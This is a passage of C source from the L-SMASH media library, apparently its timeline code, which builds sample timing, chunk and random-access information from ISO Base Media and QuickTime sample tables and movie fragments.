sample->dts = timeline->last_accessed_lpcm_bunch_dts + sample_number_offset * bunch->duration;
sample->cts = timeline->ctd_shift ? (sample->dts + (int32_t)bunch->offset) : (sample->dts + bunch->offset);
sample->pos = sample_pos;
sample->length = bunch->length;
sample->index = bunch->index;
sample->prop = bunch->prop;
return sample;
}
static lsmash_sample_t *isom_get_sample_from_media_timeline( isom_timeline_t *timeline, uint32_t sample_number )
{
uint64_t dts;
if( isom_get_dts_from_info_list( timeline, sample_number, &dts ) )
return NULL;
isom_sample_info_t *info = (isom_sample_info_t *)lsmash_get_entry_data( timeline->info_list, sample_number );
if( !info
|| !info->chunk )
return NULL;
/* Get data of a sample from the stream. */
lsmash_sample_t *sample = isom_read_sample_data_from_stream( info->chunk->file, timeline, info->length, info->pos );
if( !sample )
return NULL;
/* Get sample info. */
sample->dts = dts;
sample->cts = timeline->ctd_shift ? (dts + (int32_t)info->offset) : (dts + info->offset);
sample->pos = info->pos;
sample->length = info->length;
sample->index = info->index;
sample->prop = info->prop;
return sample;
}
static int isom_get_lpcm_sample_info_from_media_timeline( isom_timeline_t *timeline, uint32_t sample_number, lsmash_sample_t *sample )
{
isom_lpcm_bunch_t *bunch = isom_get_bunch( timeline, sample_number );
if( !bunch )
return -1;
uint64_t sample_number_offset = sample_number - timeline->last_accessed_lpcm_bunch_first_sample_number;
sample->dts = timeline->last_accessed_lpcm_bunch_dts + sample_number_offset * bunch->duration;
sample->cts = timeline->ctd_shift ? (sample->dts + (int32_t)bunch->offset) : (sample->dts + bunch->offset);
sample->pos = bunch->pos + sample_number_offset * bunch->length;
sample->length = bunch->length;
sample->index = bunch->index;
sample->prop = bunch->prop;
return 0;
}
static int isom_get_sample_info_from_media_timeline( isom_timeline_t *timeline, uint32_t sample_number, lsmash_sample_t *sample )
{
uint64_t dts;
if( isom_get_dts_from_info_list( timeline, sample_number, &dts ) )
return -1;
isom_sample_info_t *info = (isom_sample_info_t *)lsmash_get_entry_data( timeline->info_list, sample_number );
if( !info )
return -1;
sample->dts = dts;
sample->cts = timeline->ctd_shift ? (dts + (int32_t)info->offset) : (dts + info->offset);
sample->pos = info->pos;
sample->length = info->length;
sample->index = info->index;
sample->prop = info->prop;
return 0;
}
static int isom_get_lpcm_sample_property_from_media_timeline( isom_timeline_t *timeline, uint32_t sample_number, lsmash_sample_property_t *prop )
{
memset( prop, 0, sizeof(lsmash_sample_property_t) );
prop->ra_flags = ISOM_SAMPLE_RANDOM_ACCESS_FLAG_SYNC;
return 0;
}
static int isom_get_sample_property_from_media_timeline( isom_timeline_t *timeline, uint32_t sample_number, lsmash_sample_property_t *prop )
{
isom_sample_info_t *info = (isom_sample_info_t *)lsmash_get_entry_data( timeline->info_list, sample_number );
if( !info )
return -1;
*prop = info->prop;
return 0;
}
static inline void isom_increment_sample_number_in_entry
(
uint32_t *sample_number_in_entry,
lsmash_entry_t **entry,
uint32_t sample_count
)
{
if( *sample_number_in_entry == sample_count )
{
*sample_number_in_entry = 1;
*entry = (*entry)->next;
}
else
*sample_number_in_entry += 1;
}
static inline isom_sgpd_t *isom_select_appropriate_sgpd
(
isom_sgpd_t *sgpd,
isom_sgpd_t *sgpd_frag,
uint32_t *group_description_index
)
{
if( sgpd_frag && *group_description_index >= 0x10000 )
{
/* The specification doesn't define 0x10000 explicitly, however says that there must be fewer than
* 65536 group definitions for this track and grouping type in the sample table in the Movie Box.
* So, we assume 0x10000 is equivalent to 0. */
*group_description_index -= 0x10000;
return sgpd_frag;
}
else
return sgpd;
}
static int isom_get_roll_recovery_grouping_info
(
isom_timeline_t *timeline,
lsmash_entry_t **sbgp_roll_entry,
isom_sgpd_t *sgpd_roll,
isom_sgpd_t *sgpd_frag_roll,
uint32_t *sample_number_in_sbgp_roll_entry,
isom_sample_info_t *info,
uint32_t sample_number
)
{
isom_group_assignment_entry_t *assignment = (isom_group_assignment_entry_t *)(*sbgp_roll_entry)->data;
if( !assignment )
return -1;
if( assignment->group_description_index )
{
uint32_t group_description_index = assignment->group_description_index;
isom_sgpd_t *sgpd = isom_select_appropriate_sgpd( sgpd_roll, sgpd_frag_roll, &group_description_index );
isom_roll_entry_t *roll_data = (isom_roll_entry_t *)lsmash_get_entry_data( sgpd->list, group_description_index );
if( roll_data )
{
if( roll_data->roll_distance > 0 )
{
/* post-roll */
info->prop.post_roll.complete = sample_number + roll_data->roll_distance;
if( info->prop.ra_flags == ISOM_SAMPLE_RANDOM_ACCESS_FLAG_NONE )
info->prop.ra_flags |= ISOM_SAMPLE_RANDOM_ACCESS_FLAG_POST_ROLL_START;
}
else if( roll_data->roll_distance < 0 )
{
/* pre-roll */
info->prop.pre_roll.distance = -roll_data->roll_distance;
if( info->prop.ra_flags == ISOM_SAMPLE_RANDOM_ACCESS_FLAG_NONE )
info->prop.ra_flags |= ISOM_SAMPLE_RANDOM_ACCESS_FLAG_PRE_ROLL_END;
}
}
else if( *sample_number_in_sbgp_roll_entry == 1 && group_description_index )
lsmash_log( timeline, LSMASH_LOG_WARNING, "a description of roll recoveries is not found in the Sample Group Description Box.\n" );
}
isom_increment_sample_number_in_entry( sample_number_in_sbgp_roll_entry, sbgp_roll_entry, assignment->sample_count );
return 0;
}
static int isom_get_random_access_point_grouping_info
(
isom_timeline_t *timeline,
lsmash_entry_t **sbgp_rap_entry,
isom_sgpd_t *sgpd_rap,
isom_sgpd_t *sgpd_frag_rap,
uint32_t *sample_number_in_sbgp_rap_entry,
isom_sample_info_t *info,
uint32_t *distance
)
{
isom_group_assignment_entry_t *assignment = (isom_group_assignment_entry_t *)(*sbgp_rap_entry)->data;
if( !assignment )
return -1;
if( assignment->group_description_index && (info->prop.ra_flags == ISOM_SAMPLE_RANDOM_ACCESS_FLAG_NONE) )
{
uint32_t group_description_index = assignment->group_description_index;
isom_sgpd_t *sgpd = isom_select_appropriate_sgpd( sgpd_rap, sgpd_frag_rap, &group_description_index );
isom_rap_entry_t *rap_data = (isom_rap_entry_t *)lsmash_get_entry_data( sgpd->list, group_description_index );
if( rap_data )
{
/* If this is not an open RAP, we treat it as an unknown RAP since non-IDR sample could make a closed GOP. */
info->prop.ra_flags |= (rap_data->num_leading_samples_known && !!rap_data->num_leading_samples)
? ISOM_SAMPLE_RANDOM_ACCESS_FLAG_OPEN_RAP
: ISOM_SAMPLE_RANDOM_ACCESS_FLAG_RAP;
*distance = 0;
}
else if( *sample_number_in_sbgp_rap_entry == 1 && group_description_index )
lsmash_log( timeline, LSMASH_LOG_WARNING, "a description of random access points is not found in the Sample Group Description Box.\n" );
}
isom_increment_sample_number_in_entry( sample_number_in_sbgp_rap_entry, sbgp_rap_entry, assignment->sample_count );
return 0;
}
int lsmash_construct_timeline( lsmash_root_t *root, uint32_t track_ID )
{
if( !root )
return -1;
lsmash_file_t *file = root->file;
if( !file
|| !file->moov
|| !file->moov->mvhd
|| file->moov->mvhd->timescale == 0 )
return -1;
/* Get track by track_ID. */
isom_trak_t *trak = isom_get_trak( file, track_ID );
if( !trak
|| !trak->tkhd
|| !trak->mdia
|| !trak->mdia->mdhd
|| trak->mdia->mdhd->timescale == 0
|| !trak->mdia->minf
|| !trak->mdia->minf->stbl )
return -1;
/* Create a timeline list if it doesn't exist. */
if( !file->timeline )
{
file->timeline = lsmash_create_entry_list();
if( !file->timeline )
return -1;
}
/* Create a timeline. */
isom_timeline_t *timeline = isom_create_timeline();
if( !timeline )
return -1;
timeline->track_ID = track_ID;
timeline->movie_timescale = file->moov->mvhd->timescale;
timeline->media_timescale = trak->mdia->mdhd->timescale;
timeline->track_duration = trak->tkhd->duration;
/* Preparation for construction. */
isom_elst_t *elst = trak->edts ? trak->edts->elst : NULL;
isom_minf_t *minf = trak->mdia->minf;
isom_dref_t *dref = minf->dinf->dref;
isom_stbl_t *stbl = minf->stbl;
isom_stsd_t *stsd = stbl->stsd;
isom_stts_t *stts = stbl->stts;
isom_ctts_t *ctts = stbl->ctts;
isom_stss_t *stss = stbl->stss;
isom_stps_t *stps = stbl->stps;
isom_sdtp_t *sdtp = stbl->sdtp;
isom_stsc_t *stsc = stbl->stsc;
isom_stsz_t *stsz = stbl->stsz;
isom_stco_t *stco = stbl->stco;
isom_sgpd_t *sgpd_rap = isom_get_sample_group_description( stbl, ISOM_GROUP_TYPE_RAP );
isom_sbgp_t *sbgp_rap = isom_get_sample_to_group ( stbl, ISOM_GROUP_TYPE_RAP );
isom_sgpd_t *sgpd_roll = isom_get_roll_recovery_sample_group_description( &stbl->sgpd_list );
isom_sbgp_t *sbgp_roll = isom_get_roll_recovery_sample_to_group ( &stbl->sbgp_list );
lsmash_entry_t *elst_entry = elst && elst->list ? elst->list->head : NULL;
lsmash_entry_t *stts_entry = stts && stts->list ? stts->list->head : NULL;
lsmash_entry_t *ctts_entry = ctts && ctts->list ? ctts->list->head : NULL;
lsmash_entry_t *stss_entry = stss && stss->list ? stss->list->head : NULL;
lsmash_entry_t *stps_entry = stps && stps->list ? stps->list->head : NULL;
lsmash_entry_t *sdtp_entry = sdtp && sdtp->list ? sdtp->list->head : NULL;
lsmash_entry_t *stsz_entry = stsz && stsz->list ? stsz->list->head : NULL;
lsmash_entry_t *stsc_entry = stsc && stsc->list ? stsc->list->head : NULL;
lsmash_entry_t *stco_entry = stco && stco->list ? stco->list->head : NULL;
lsmash_entry_t *sbgp_roll_entry = sbgp_roll && sbgp_roll->list ? sbgp_roll->list->head : NULL;
lsmash_entry_t *sbgp_rap_entry = sbgp_rap && sbgp_rap->list ? sbgp_rap->list->head : NULL;
lsmash_entry_t *next_stsc_entry = stsc_entry ? stsc_entry->next : NULL;
isom_stsc_entry_t *stsc_data = stsc_entry ? (isom_stsc_entry_t *)stsc_entry->data : NULL;
int movie_framemts_present = (file->moov->mvex && file->moof_list.head);
if( !movie_framemts_present && (!stts_entry || !stsc_entry || !stco_entry || !stco_entry->data || (next_stsc_entry && !next_stsc_entry->data)) )
goto fail;
isom_sample_entry_t *description = (isom_sample_entry_t *)lsmash_get_entry_data( &stsd->list, stsc_data ? stsc_data->sample_description_index : 1 );
if( !description )
goto fail;
isom_dref_entry_t *dref_entry = (isom_dref_entry_t *)lsmash_get_entry_data( &dref->list, description->data_reference_index );
int all_sync = !stss;
int large_presentation = stco->large_presentation || lsmash_check_box_type_identical( stco->type, ISOM_BOX_TYPE_CO64 );
int is_lpcm_audio = isom_is_lpcm_audio( description );
int is_qt_fixed_comp_audio = isom_is_qt_fixed_compressed_audio( description );
int iso_sdtp = file->max_isom_version >= 2 || file->avc_extensions;
int allow_negative_sample_offset = ctts && ((file->max_isom_version >= 4 && ctts->version == 1) || file->qt_compatible);
uint32_t sample_number_in_stts_entry = 1;
uint32_t sample_number_in_ctts_entry = 1;
uint32_t sample_number_in_sbgp_roll_entry = 1;
uint32_t sample_number_in_sbgp_rap_entry = 1;
uint64_t dts = 0;
uint32_t chunk_number = 1;
uint64_t offset_from_chunk = 0;
uint64_t data_offset = stco_entry && stco_entry->data
? large_presentation
? ((isom_co64_entry_t *)stco_entry->data)->chunk_offset
: ((isom_stco_entry_t *)stco_entry->data)->chunk_offset
: 0;
uint32_t samples_per_packet;
uint32_t constant_sample_size;
if( is_qt_fixed_comp_audio )
isom_get_qt_fixed_comp_audio_sample_quants( timeline, description, &samples_per_packet, &constant_sample_size );
else
{
samples_per_packet = 1;
constant_sample_size = stsz->sample_size;
}
uint32_t sample_number = samples_per_packet;
uint32_t sample_number_in_chunk = samples_per_packet;
/* Copy edits. */
while( elst_entry )
{
isom_elst_entry_t *edit = (isom_elst_entry_t *)lsmash_memdup( elst_entry->data, sizeof(isom_elst_entry_t) );
if( !edit
|| lsmash_add_entry( timeline->edit_list, edit ) )
goto fail;
elst_entry = elst_entry->next;
}
/* Check what the first 2-bits of sample dependency means.
* This check is for chimera of ISO Base Media and QTFF. */
if( iso_sdtp && sdtp_entry )
{
while( sdtp_entry )
{
isom_sdtp_entry_t *sdtp_data = (isom_sdtp_entry_t *)sdtp_entry->data;
if( !sdtp_data )
goto fail;
if( sdtp_data->is_leading > 1 )
break; /* Apparently, it's defined under ISO Base Media. */
if( (sdtp_data->is_leading == 1) && (sdtp_data->sample_depends_on == ISOM_SAMPLE_IS_INDEPENDENT) )
{
/* Obviously, it's not defined under ISO Base Media. */
iso_sdtp = 0;
break;
}
sdtp_entry = sdtp_entry->next;
}
sdtp_entry = sdtp->list->head;
}
/**--- Construct media timeline. ---**/
isom_portable_chunk_t chunk;
chunk.data_offset = data_offset;
chunk.length = 0;
chunk.number = chunk_number;
chunk.file = (!dref_entry || !dref_entry->ref_file) ? NULL : dref_entry->ref_file;
if( isom_add_portable_chunk_entry( timeline, &chunk ) < 0 )
goto fail;
uint32_t distance = NO_RANDOM_ACCESS_POINT;
uint32_t last_duration = UINT32_MAX;
uint32_t packet_number = 1;
isom_lpcm_bunch_t bunch = { 0 };
while( sample_number <= stsz->sample_count )
{
isom_sample_info_t info = { 0 };
/* Get sample duration and sample offset. */
for( uint32_t i = 0; i < samples_per_packet; i++ )
{
/* sample duration */
if( stts_entry )
{
isom_stts_entry_t *stts_data = (isom_stts_entry_t *)stts_entry->data;
if( !stts_data )
goto fail;
isom_increment_sample_number_in_entry( &sample_number_in_stts_entry, &stts_entry, stts_data->sample_count );
last_duration = stts_data->sample_delta;
}
info.duration += last_duration;
dts += last_duration;
/* sample offset */
uint32_t sample_offset;
if( ctts_entry )
{
isom_ctts_entry_t *ctts_data = (isom_ctts_entry_t *)ctts_entry->data;
if( !ctts_data )
goto fail;
isom_increment_sample_number_in_entry( &sample_number_in_ctts_entry, &ctts_entry, ctts_data->sample_count );
sample_offset = ctts_data->sample_offset;
if( allow_negative_sample_offset )
{
uint64_t cts = dts + (int32_t)sample_offset;
if( (cts + timeline->ctd_shift) < dts )
timeline->ctd_shift = dts - cts;
}
}
else
sample_offset = 0;
if( i == 0 )
info.offset = sample_offset;
}
timeline->media_duration += info.duration;
if( !is_qt_fixed_comp_audio )
{
/* Check whether sync sample or not. */
if( stss_entry )
{
isom_stss_entry_t *stss_data = (isom_stss_entry_t *)stss_entry->data;
if( !stss_data )
goto fail;
if( sample_number == stss_data->sample_number )
{
info.prop.ra_flags |= ISOM_SAMPLE_RANDOM_ACCESS_FLAG_SYNC;
stss_entry = stss_entry->next;
distance = 0;
}
}
else if( all_sync )
/* Don't reset distance as 0 since MDCT-based audio frames need pre-roll for correct presentation
* though all of them could be marked as a sync sample. */
info.prop.ra_flags |= ISOM_SAMPLE_RANDOM_ACCESS_FLAG_SYNC;
/* Check whether partial sync sample or not. */
if( stps_entry )
{
isom_stps_entry_t *stps_data = (isom_stps_entry_t *)stps_entry->data;
if( !stps_data )
goto fail;
if( sample_number == stps_data->sample_number )
{
info.prop.ra_flags |= QT_SAMPLE_RANDOM_ACCESS_FLAG_PARTIAL_SYNC | QT_SAMPLE_RANDOM_ACCESS_FLAG_RAP;
stps_entry = stps_entry->next;
distance = 0;
}
}
/* Get sample dependency info. */
if( sdtp_entry )
{
isom_sdtp_entry_t *sdtp_data = (isom_sdtp_entry_t *)sdtp_entry->data;
if( !sdtp_data )
goto fail;
if( iso_sdtp )
info.prop.leading = sdtp_data->is_leading;
else
info.prop.allow_earlier = sdtp_data->is_leading;
info.prop.independent = sdtp_data->sample_depends_on;
info.prop.disposable = sdtp_data->sample_is_depended_on;
info.prop.redundant = sdtp_data->sample_has_redundancy;
sdtp_entry = sdtp_entry->next;
}
/* Get roll recovery grouping info. */
if( sbgp_roll_entry
&& isom_get_roll_recovery_grouping_info( timeline,
&sbgp_roll_entry, sgpd_roll, NULL,
&sample_number_in_sbgp_roll_entry,
&info, sample_number ) < 0 )
goto fail;
info.prop.post_roll.identifier = sample_number;
/* Get random access point grouping info. */
if( sbgp_rap_entry
&& isom_get_random_access_point_grouping_info( timeline,
&sbgp_rap_entry, sgpd_rap, NULL,
&sample_number_in_sbgp_rap_entry,
&info, &distance ) < 0 )
goto fail;
/* Set up distance from the previous random access point. */
if( distance != NO_RANDOM_ACCESS_POINT )
{
if( info.prop.pre_roll.distance == 0 )
info.prop.pre_roll.distance = distance;
++distance;
}
}
else
/* All uncompressed and non-variable compressed audio frame is a sync sample. */
info.prop.ra_flags = ISOM_SAMPLE_RANDOM_ACCESS_FLAG_SYNC;
/* Get size of sample in the stream. */
if( is_qt_fixed_comp_audio || !stsz_entry )
info.length = constant_sample_size;
else
{
if( !stsz_entry->data )
goto fail;
info.length = ((isom_stsz_entry_t *)stsz_entry->data)->entry_size;
stsz_entry = stsz_entry->next;
}
timeline->max_sample_size = LSMASH_MAX( timeline->max_sample_size, info.length );
/* Get chunk info. */
info.pos = data_offset;
info.index = stsc_data->sample_description_index;
info.chunk = (isom_portable_chunk_t *)timeline->chunk_list->tail->data;
offset_from_chunk += info.length;
if( sample_number_in_chunk == stsc_data->samples_per_chunk )
{
/* Set the length of the last chunk. */
if( info.chunk )
info.chunk->length = offset_from_chunk;
/* Move the next chunk. */
if( stco_entry )
stco_entry = stco_entry->next;
if( stco_entry
&& stco_entry->data )
data_offset = large_presentation
? ((isom_co64_entry_t *)stco_entry->data)->chunk_offset
: ((isom_stco_entry_t *)stco_entry->data)->chunk_offset;
chunk.data_offset = data_offset;
chunk.length = 0;
chunk.number = ++chunk_number;
offset_from_chunk = 0;
/* Check if the next entry is broken. */
while( next_stsc_entry && chunk_number > ((isom_stsc_entry_t *)next_stsc_entry->data)->first_chunk )
{
/* Just skip broken next entry. */
lsmash_log( timeline, LSMASH_LOG_WARNING, "ignore broken entry in Sample To Chunk Box.\n" );
lsmash_log( timeline, LSMASH_LOG_WARNING, "timeline might be corrupted.\n" );
next_stsc_entry = next_stsc_entry->next;
if( next_stsc_entry
&& !next_stsc_entry->data )
goto fail;
}
/* Check if the next chunk belongs to the next sequence of chunks. */
if( next_stsc_entry && chunk_number == ((isom_stsc_entry_t *)next_stsc_entry->data)->first_chunk )
{
stsc_entry = next_stsc_entry;
next_stsc_entry = next_stsc_entry->next;
if( next_stsc_entry
&& !next_stsc_entry->data )
goto fail;
stsc_data = (isom_stsc_entry_t *)stsc_entry->data;
/* Update sample description. */
description = (isom_sample_entry_t *)lsmash_get_entry_data( &stsd->list, stsc_data->sample_description_index );
is_lpcm_audio = isom_is_lpcm_audio( description );
is_qt_fixed_comp_audio = isom_is_qt_fixed_compressed_audio( description );
if( is_qt_fixed_comp_audio )
isom_get_qt_fixed_comp_audio_sample_quants( timeline, description, &samples_per_packet, &constant_sample_size );
else
{
samples_per_packet = 1;
constant_sample_size = stsz->sample_size;
}
/* Reference media data. */
dref_entry = (isom_dref_entry_t *)lsmash_get_entry_data( &dref->list, description->data_reference_index );
chunk.file = (!dref_entry || !dref_entry->ref_file) ? NULL : dref_entry->ref_file;
}
sample_number_in_chunk = samples_per_packet;
if( isom_add_portable_chunk_entry( timeline, &chunk ) < 0 )
goto fail;
}
else
{
data_offset += info.length;
sample_number_in_chunk += samples_per_packet;
}
/* OK. Let's add its info. */
if( is_lpcm_audio )
{
if( sample_number == samples_per_packet )
isom_update_bunch( &bunch, &info );
else if( isom_compare_lpcm_sample_info( &bunch, &info ) )
{
if( isom_add_lpcm_bunch_entry( timeline, &bunch ) )
goto fail;
isom_update_bunch( &bunch, &info );
}
else
++ bunch.sample_count;
}
else if( isom_add_sample_info_entry( timeline, &info ) )
goto fail;
if( timeline->info_list->entry_count && timeline->bunch_list->entry_count )
{
lsmash_log( timeline, LSMASH_LOG_ERROR, "LPCM + non-LPCM track is not supported.\n" );
goto fail;
}
sample_number += samples_per_packet;
packet_number += 1;
}
isom_portable_chunk_t *last_chunk = lsmash_get_entry_data( timeline->chunk_list, timeline->chunk_list->entry_count );
if( last_chunk )
{
if( offset_from_chunk )
last_chunk->length = offset_from_chunk;
else
{
/* Remove the last invalid chunk. */
lsmash_remove_entry( timeline->chunk_list, timeline->chunk_list->entry_count, NULL );
--chunk_number;
}
}
uint32_t sample_count = packet_number - 1;
if( movie_framemts_present )
{
isom_tfra_t *tfra = isom_get_tfra( file->mfra, track_ID );
lsmash_entry_t *tfra_entry = tfra && tfra->list ? tfra->list->head : NULL;
isom_tfra_location_time_entry_t *rap = tfra_entry ? (isom_tfra_location_time_entry_t *)tfra_entry->data : NULL;
chunk.data_offset = 0;
chunk.length = 0;
/* Movie fragments */
for( lsmash_entry_t *moof_entry = file->moof_list.head; moof_entry; moof_entry = moof_entry->next )
{
isom_moof_t *moof = (isom_moof_t *)moof_entry->data;
if( !moof )
goto fail;
uint64_t last_sample_end_pos = 0;
/* Track fragments */
uint32_t traf_number = 1;
for( lsmash_entry_t *traf_entry = moof->traf_list.head; traf_entry; traf_entry = traf_entry->next )
{
isom_traf_t *traf = (isom_traf_t *)traf_entry->data;
if( !traf )
goto fail;
isom_tfhd_t *tfhd = traf->tfhd;
if( !tfhd )
goto fail;
isom_trex_t *trex = isom_get_trex( file->moov->mvex, tfhd->track_ID );
if( !trex )
goto fail;
/* Ignore ISOM_TF_FLAGS_DURATION_IS_EMPTY flag even if set. */
if( !traf->trun_list.head )
{
++traf_number;
continue;
}
/* Get base_data_offset. */
uint64_t base_data_offset;
if( tfhd->flags & ISOM_TF_FLAGS_BASE_DATA_OFFSET_PRESENT )
base_data_offset = tfhd->base_data_offset;
else if( (tfhd->flags & ISOM_TF_FLAGS_DEFAULT_BASE_IS_MOOF) || traf_entry == moof->traf_list.head )
base_data_offset = moof->pos;
else
base_data_offset = last_sample_end_pos;
/* sample grouping */
isom_sgpd_t *sgpd_frag_rap;
isom_sgpd_t *sgpd_frag_roll;
sgpd_frag_rap = isom_get_fragment_sample_group_description( traf, ISOM_GROUP_TYPE_RAP );
sbgp_rap = isom_get_fragment_sample_to_group ( traf, ISOM_GROUP_TYPE_RAP );
sbgp_rap_entry = sbgp_rap && sbgp_rap->list ? sbgp_rap->list->head : NULL;
sgpd_frag_roll = isom_get_roll_recovery_sample_group_description( &traf->sgpd_list );
sbgp_roll = isom_get_roll_recovery_sample_to_group ( &traf->sbgp_list );
sbgp_roll_entry = sbgp_roll && sbgp_roll->list ? sbgp_roll->list->head : NULL;
int need_data_offset_only = (tfhd->track_ID != track_ID);
/* Track runs */
uint32_t trun_number = 1;
for( lsmash_entry_t *trun_entry = traf->trun_list.head; trun_entry; trun_entry = trun_entry->next )
{
isom_trun_t *trun = (isom_trun_t *)trun_entry->data;
if( !trun )
goto fail;
if( trun->sample_count == 0 )
{
++trun_number;
continue;
}
/* Get data_offset. */
if( trun->flags & ISOM_TR_FLAGS_DATA_OFFSET_PRESENT )
data_offset = trun->data_offset + base_data_offset;
else if( trun_entry == traf->trun_list.head )
data_offset = base_data_offset;
else
data_offset = last_sample_end_pos;
/* */
uint32_t sample_description_index = 0;
isom_sdtp_entry_t *sdtp_data = NULL;
if( !need_data_offset_only )
{
/* Get sample_description_index of this track fragment. */
if( tfhd->flags & ISOM_TF_FLAGS_SAMPLE_DESCRIPTION_INDEX_PRESENT )
sample_description_index = tfhd->sample_description_index;
else
sample_description_index = trex->default_sample_description_index;
description = (isom_sample_entry_t *)lsmash_get_entry_data( &stsd->list, sample_description_index );
is_lpcm_audio = isom_is_lpcm_audio( description );
/* Reference media data. */
dref_entry = (isom_dref_entry_t *)lsmash_get_entry_data( &dref->list, description->data_reference_index );
lsmash_file_t *ref_file = (!dref_entry || !dref_entry->ref_file) ? NULL : dref_entry->ref_file;
/* Each track run can be considered as a chunk.
* Here, we consider physically consecutive track runs as one chunk. */
if( chunk.data_offset + chunk.length != data_offset || chunk.file != ref_file )
{
chunk.data_offset = data_offset;
chunk.length = 0;
chunk.number = ++chunk_number;
chunk.file = ref_file;
if( isom_add_portable_chunk_entry( timeline, &chunk ) < 0 )
goto fail;
}
/* Get dependency info for this track fragment. */
sdtp_entry = traf->sdtp && traf->sdtp->list ? traf->sdtp->list->head : NULL;
sdtp_data = sdtp_entry && sdtp_entry->data ? (isom_sdtp_entry_t *)sdtp_entry->data : NULL;
}
/* Get info of each sample. */
lsmash_entry_t *row_entry = trun->optional && trun->optional->head ? trun->optional->head : NULL;
sample_number = 1;
while( sample_number <= trun->sample_count )
{
isom_sample_info_t info = { 0 };
isom_trun_optional_row_t *row = row_entry && row_entry->data ? (isom_trun_optional_row_t *)row_entry->data : NULL;
/* Get sample_size */
if( row && (trun->flags & ISOM_TR_FLAGS_SAMPLE_SIZE_PRESENT) )
info.length = row->sample_size;
else if( tfhd->flags & ISOM_TF_FLAGS_DEFAULT_SAMPLE_SIZE_PRESENT )
info.length = tfhd->default_sample_size;
else
info.length = trex->default_sample_size;
if( !need_data_offset_only )
{
info.pos = data_offset;
info.index = sample_description_index;
info.chunk = (isom_portable_chunk_t *)timeline->chunk_list->tail->data;
info.chunk->length += info.length;
/* Get sample_duration. */
if( row && (trun->flags & ISOM_TR_FLAGS_SAMPLE_DURATION_PRESENT) )
info.duration = row->sample_duration;
else if( tfhd->flags & ISOM_TF_FLAGS_DEFAULT_SAMPLE_DURATION_PRESENT )
info.duration = tfhd->default_sample_duration;
else
info.duration = trex->default_sample_duration;
/* Get composition time offset. */
if( row && (trun->flags & ISOM_TR_FLAGS_SAMPLE_COMPOSITION_TIME_OFFSET_PRESENT) )
{
info.offset = row->sample_composition_time_offset;
/* Check composition to decode timeline shift. */
if( file->max_isom_version >= 6 && trun->version != 0 )
{
uint64_t cts = dts + (int32_t)info.offset;
if( (cts + timeline->ctd_shift) < dts )
timeline->ctd_shift = dts - cts;
}
}
else
info.offset = 0;
dts += info.duration;
/* Update media duration and maximun sample size. */
timeline->media_duration += info.duration;
timeline->max_sample_size = LSMASH_MAX( timeline->max_sample_size, info.length );
if( !is_lpcm_audio )
{
/* Get sample_flags. */
isom_sample_flags_t sample_flags;
if( sample_number == 1 && (trun->flags & ISOM_TR_FLAGS_FIRST_SAMPLE_FLAGS_PRESENT) )
sample_flags = trun->first_sample_flags;
else if( row && (trun->flags & ISOM_TR_FLAGS_SAMPLE_FLAGS_PRESENT) )
sample_flags = row->sample_flags;
else if( tfhd->flags & ISOM_TF_FLAGS_DEFAULT_SAMPLE_FLAGS_PRESENT )
sample_flags = tfhd->default_sample_flags;
else
sample_flags = trex->default_sample_flags;
if( sdtp_data )
{
/* Independent and Disposable Samples Box overrides the information from sample_flags.
* There is no description in the specification about this, but the intention should be such a thing.
* The ground is that sample_flags is placed in media layer
* while Independent and Disposable Samples Box is placed in track or presentation layer. */
info.prop.leading = sdtp_data->is_leading;
info.prop.independent = sdtp_data->sample_depends_on;
info.prop.disposable = sdtp_data->sample_is_depended_on;
info.prop.redundant = sdtp_data->sample_has_redundancy;
if( sdtp_entry )
sdtp_entry = sdtp_entry->next;
sdtp_data = sdtp_entry ? (isom_sdtp_entry_t *)sdtp_entry->data : NULL;
}
else
{
info.prop.leading = sample_flags.is_leading;
info.prop.independent = sample_flags.sample_depends_on;
info.prop.disposable = sample_flags.sample_is_depended_on;
info.prop.redundant = sample_flags.sample_has_redundancy;
}
/* Check this sample is a sync sample or not.
* Note: all sync sample shall be independent. */
if( !sample_flags.sample_is_non_sync_sample
&& info.prop.independent != ISOM_SAMPLE_IS_NOT_INDEPENDENT )
{
info.prop.ra_flags |= ISOM_SAMPLE_RANDOM_ACCESS_FLAG_SYNC;
distance = 0;
}
/* Get roll recovery grouping info. */
uint32_t roll_id = sample_count + sample_number;
if( sbgp_roll_entry
&& isom_get_roll_recovery_grouping_info( timeline,
&sbgp_roll_entry, sgpd_roll, sgpd_frag_roll,
&sample_number_in_sbgp_roll_entry,
&info, roll_id ) < 0 )
goto fail;
info.prop.post_roll.identifier = roll_id;
/* Get random access point grouping info. */
if( sbgp_rap_entry
&& isom_get_random_access_point_grouping_info( timeline,
&sbgp_rap_entry, sgpd_rap, sgpd_frag_rap,
&sample_number_in_sbgp_rap_entry,
&info, &distance ) < 0 )
goto fail;
/* Get the location of the sync sample from 'tfra' if it is not set up yet.
* Note: there is no guarantee that its entries are placed in a specific order. */
if( tfra )
{
if( tfra->number_of_entry == 0
&& info.prop.ra_flags == ISOM_SAMPLE_RANDOM_ACCESS_FLAG_NONE )
info.prop.ra_flags |= ISOM_SAMPLE_RANDOM_ACCESS_FLAG_SYNC;
if( rap
&& rap->moof_offset == moof->pos
&& rap->traf_number == traf_number
&& rap->trun_number == trun_number
&& rap->sample_number == sample_number )
{
if( info.prop.ra_flags == ISOM_SAMPLE_RANDOM_ACCESS_FLAG_NONE )
info.prop.ra_flags |= ISOM_SAMPLE_RANDOM_ACCESS_FLAG_SYNC;
if( tfra_entry )
tfra_entry = tfra_entry->next;
rap = tfra_entry ? (isom_tfra_location_time_entry_t *)tfra_entry->data : NULL;
}
}
/* Set up distance from the previous random access point. */
if( distance != NO_RANDOM_ACCESS_POINT )
{
if( info.prop.pre_roll.distance == 0 )
info.prop.pre_roll.distance = distance;
++distance;
}
/* OK. Let's add its info. */
if( isom_add_sample_info_entry( timeline, &info ) )
goto fail;
}
else
{
/* All LPCMFrame is a sync sample. */
info.prop.ra_flags = ISOM_SAMPLE_RANDOM_ACCESS_FLAG_SYNC;
/* OK. Let's add its info. */
if( sample_count == 0 && sample_number == 1 )
isom_update_bunch( &bunch, &info );
else if( isom_compare_lpcm_sample_info( &bunch, &info ) )
{
if( isom_add_lpcm_bunch_entry( timeline, &bunch ) )
goto fail;
isom_update_bunch( &bunch, &info );
}
else
++ bunch.sample_count;
}
if( timeline-> info_list->entry_count
&& timeline->bunch_list->entry_count )
{
lsmash_log( timeline, LSMASH_LOG_ERROR, "LPCM + non-LPCM track is not supported.\n" );
goto fail;
}
}
data_offset += info.length;
last_sample_end_pos = data_offset;
if( row_entry )
row_entry = row_entry->next;
++sample_number;
}
if( !need_data_offset_only )
sample_count += sample_number - 1;
++trun_number;
} /* Track runs */
